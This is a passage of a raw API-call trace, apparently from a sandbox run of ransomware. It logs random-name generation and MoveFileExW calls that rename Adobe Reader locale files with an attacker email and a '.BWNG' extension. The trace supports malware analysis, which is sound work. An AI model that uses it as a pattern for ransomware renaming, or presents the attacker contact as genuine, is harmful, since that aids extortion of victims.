1 [0088.096] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0088.096] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\pddom.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\pddom.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\[billwong73@yahoo.com].2NovfiE9-IE8XCXHE.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\[billwong73@yahoo.com].2novfie9-ie8xcxhe.bwng"), dwFlags=0x1) returned 1 [0088.097] GetTickCount () returned 0x115de4e [0088.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23004923017) returned 1 [0088.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0088.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0088.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0088.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0088.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0088.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0088.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0088.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0088.097] GetTickCount () returned 0x115de4e [0088.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23004954754) returned 1 [0088.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0088.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0088.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0088.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0088.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0088.098] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0088.098] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0088.098] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0088.098] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Weblink.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\weblink.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\[billwong73@yahoo.com].XyZ7TxZW-RKqk56xA.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\[billwong73@yahoo.com].xyz7txzw-rkqk56xa.bwng"), dwFlags=0x1) returned 1 [0088.099] GetTickCount () returned 0x115de4e [0088.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23005239599) returned 1 [0088.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0088.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0088.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0088.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0088.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0088.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0088.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0088.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0088.100] GetTickCount () returned 0x115de4e [0088.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23005270326) returned 1 [0088.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0088.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0088.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0088.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0088.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0088.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0088.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0088.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0088.101] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\AdobeCollabSync.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\adobecollabsync.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\[billwong73@yahoo.com].PzKqToMC-Nf4Dw2y4.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\[billwong73@yahoo.com].pzkqtomc-nf4dw2y4.bwng"), dwFlags=0x1) returned 1 [0088.102] GetTickCount () returned 0x115de4e [0088.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23005397632) returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0088.102] GetTickCount () returned 0x115de4e [0088.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23005427985) returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0088.102] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Annots.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\annots.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\[billwong73@yahoo.com].HxewVhNw-sC1reUDf.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\[billwong73@yahoo.com].hxewvhnw-sc1reudf.bwng"), dwFlags=0x1) returned 1 [0088.103] GetTickCount () returned 0x115de4e [0088.103] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23005553362) returned 1 [0088.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0088.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0088.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0088.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0088.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0088.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0088.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0088.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0088.104] GetTickCount () returned 0x115de4e [0088.104] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23005583020) returned 1 [0088.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0088.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0088.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0088.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0088.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0088.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0088.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0088.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0088.104] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Spelling.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\spelling.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\[billwong73@yahoo.com].coIeYYpl-srfDComz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\[billwong73@yahoo.com].coieyypl-srfdcomz.bwng"), dwFlags=0x1) returned 1 [0088.105] GetTickCount () returned 0x115de4e [0088.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23005709136) returned 1 [0088.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0088.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0088.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0088.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0088.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0088.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0088.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0088.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0088.105] GetTickCount () returned 0x115de4e [0088.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23005740497) returned 1 [0088.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0088.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0088.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0088.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0088.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0088.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0088.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0088.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0088.105] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\EScript.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\escript.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\[billwong73@yahoo.com].WvO7hTAo-2pHGSOqB.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\[billwong73@yahoo.com].wvo7htao-2phgsoqb.bwng"), dwFlags=0x1) returned 1 [0088.238] GetTickCount () returned 0x115dedb [0088.238] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23018989077) returned 1 [0088.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0088.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0088.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0088.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0088.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0088.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0088.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0088.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0088.238] GetTickCount () returned 0x115dedb [0088.238] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23019022511) returned 1 [0088.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0088.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0088.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0088.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0088.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0088.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0088.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0088.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0088.238] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\SendMail.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\sendmail.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].pglnguA0-Ln9x8Nxw.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].pglngua0-ln9x8nxw.bwng"), dwFlags=0x1) returned 1 [0088.239] GetTickCount () returned 0x115dedb [0088.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23019153732) returned 1 [0088.239] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0088.239] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0088.239] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0088.239] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0088.239] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0088.240] 